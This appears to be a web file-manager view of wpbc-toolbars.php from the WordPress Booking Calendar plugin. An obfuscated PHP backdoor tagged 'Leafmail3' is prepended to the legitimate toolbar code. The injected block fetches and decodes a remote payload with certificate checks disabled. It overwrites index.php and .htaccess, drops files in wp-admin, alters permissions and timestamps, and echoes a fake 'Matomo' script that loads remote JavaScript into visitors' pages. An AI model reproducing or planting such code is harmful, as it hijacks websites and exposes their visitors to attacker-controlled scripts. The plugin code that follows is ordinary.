trAvis - MANAGER
Edit File: wpbc-toolbars.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Calendar * @category Toolbar. Data for UI Elements at Booking Calendar admin pages * @author wpdevelop * * @web-site https://wpbookingcalendar.com/ * @email info@wpbookingcalendar.com * * @modified 2015-11-16 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit, if accessed directly // --------------------------------------------------------------------------------------------------------------------- // T o o l b a r s // --------------------------------------------------------------------------------------------------------------------- //FixIn: 9.6.3.5 /** T o o l b a r C o n t a i n e r f o r Timeline */ function wpbc_timeline_toolbar() { wpbc_clear_div(); //wpbc_toolbar_search_by_id_bookings(); // Search bookings by ID - form at the top right side of the page //wpbc_toolbar_btn__view_mode(); // Vertical Buttons //FixIn: 9.8.15.2 // Toolbar //////////////////////////////////////////////////////////////// ?><div id="toolbar_booking_listing" class="wpbc_timeline_toolbar_container"><?php /* wpbc_bs_toolbar_tabs_html_container_start(); // <editor-fold defaultstate="collapsed" desc=" T O P T A B s " > if ( ! isset( $_REQUEST['tab_cvm'] ) ) $_REQUEST['tab_cvm'] = 'actions_cvm'; $selected_tab = $_REQUEST['tab_cvm']; wpbc_bs_display_tab( array( 'title' => __('View', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.visibility_container').hide();" . "jQuery('#actions_toolbar_container').show();" . "jQuery('#toolbar_booking_listing .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" , 'font_icon' => 'wpbc-bi-calendar2-range-fill' , 'default' => ( $selected_tab == 'actions_cvm' ) ? true : false ) ); wpbc_bs_dropdown_menu_help(); // </editor-fold> wpbc_bs_toolbar_tabs_html_container_end(); */ //////////////////////////////////////////////////////////////////////// wpbc_bs_toolbar_sub_html_container_start(); // A c t i o n s T o o l b a r f o r T i m e l i n e /* ?><div id="actions_toolbar_container" class="visibility_container clearfix-height" style="display:<?php echo ( $selected_tab == 'actions_cvm' ) ? 'block' : 'none' ?>;margin-top:-5px;"><?php wpbc_toolbar_btn__timeline_view_mode(); // View Mode Buttons wpbc_toolbar_btn__timeline_navigation(); // Navigation Buttons ?></div><?php */ ?><div class="wpbc_timeline_toolbar_structure"><?php make_bk_action( 'wpbc_br_selection_for_timeline' ); wpbc_toolbar_is_send_emails_btn( ''); ?></div><?php wpbc_bs_toolbar_sub_html_container_end(); ?></div><?php wpbc_clear_div(); } /** * Show Search by Booking ID form at top right side of Calendar Overview page * * @param $page_tag * @param $active_page_tab * @param $active_page_subtab * * @return false|void */ function wpbc_calendar_overview__search_by_id_bookings( $page_tag, $active_page_tab, $active_page_subtab ) { if ( ( 'wpbc' !== $page_tag ) || ( 'vm_calendar' !== $active_page_tab ) ) { return false; } ?><span class="wpdevelop wpbc_page wpbc_toolbar_search_by_id_bookings"><?php wpbc_toolbar_search_by_id_bookings(); // Search bookings by ID - form at the top right side of the page ?></span><?php } add_bk_action('wpbc_h1_header_content_end', 'wpbc_calendar_overview__search_by_id_bookings'); /** T o o l b a r C o n t a i n e r f o r Add New Booking */ function wpbc_add_new_booking_toolbar() { wpbc_clear_div(); // Toolbar //////////////////////////////////////////////////////////////// ?><div id="toolbar_booking_listing" style="position:relative;"><?php wpbc_bs_toolbar_tabs_html_container_start(); // <editor-fold defaultstate="collapsed" desc=" T O P T A B s " > if ( ! isset( $_REQUEST['toolbar'] ) ) $_REQUEST['toolbar'] = 'filter'; $selected_tab = $_REQUEST['toolbar']; wpbc_bs_display_tab( array( 'title' => __('Options', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.visibility_container').hide();" . "jQuery('#filter_toolbar_container').show();" . "jQuery('#toolbar_booking_listing .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" , 'font_icon' => 'wpbc_icn_adjust' , 'default' => ( $selected_tab == 'filter' ) ? true : false ) ); wpbc_bs_display_tab( array( 'title' => __('Calendar View', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.visibility_container').hide();" . "jQuery('#calendar_size_toolbar_container').show();" . "jQuery('#toolbar_booking_listing .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" , 'font_icon' => 'wpbc-bi-calendar2' , 'default' => ( $selected_tab == 'calendar' ) ? true : false ) ); wpbc_bs_dropdown_menu_help(); // </editor-fold> wpbc_bs_toolbar_tabs_html_container_end(); //////////////////////////////////////////////////////////////////////// wpbc_bs_toolbar_sub_html_container_start(); // T o o l b a r ?><div id="filter_toolbar_container" class="visibility_container clearfix-height" style="display:<?php echo ( $selected_tab == 'filter' ) ? 'block' : 'none' ?>;margin-top:-5px;"><?php if ( ( function_exists( 'wpbc_toolbar_btn__resource_selection' ) ) && ( empty( $_GET['booking_hash'] ) ) ) //Do not show resource seleciton if editing booking. //FixIn:7.1.2.10 wpbc_toolbar_btn__resource_selection(); if ( function_exists( 'wpbc_toolbar_btn__form_selection' ) ) wpbc_toolbar_btn__form_selection(); //////////////////////////////////////////////////////////////////// ?><div class="clear-for-mobile"></div><?php ?><div class="control-group wpbc-no-padding" style="float:right;margin-right: 0;margin-left: 15px;"><?php if ( function_exists( 'wpbc_toolbar_btn__auto_fill' ) ) wpbc_toolbar_btn__auto_fill(); wpbc_toolbar_btn__add_new_booking(); ?></div><?php 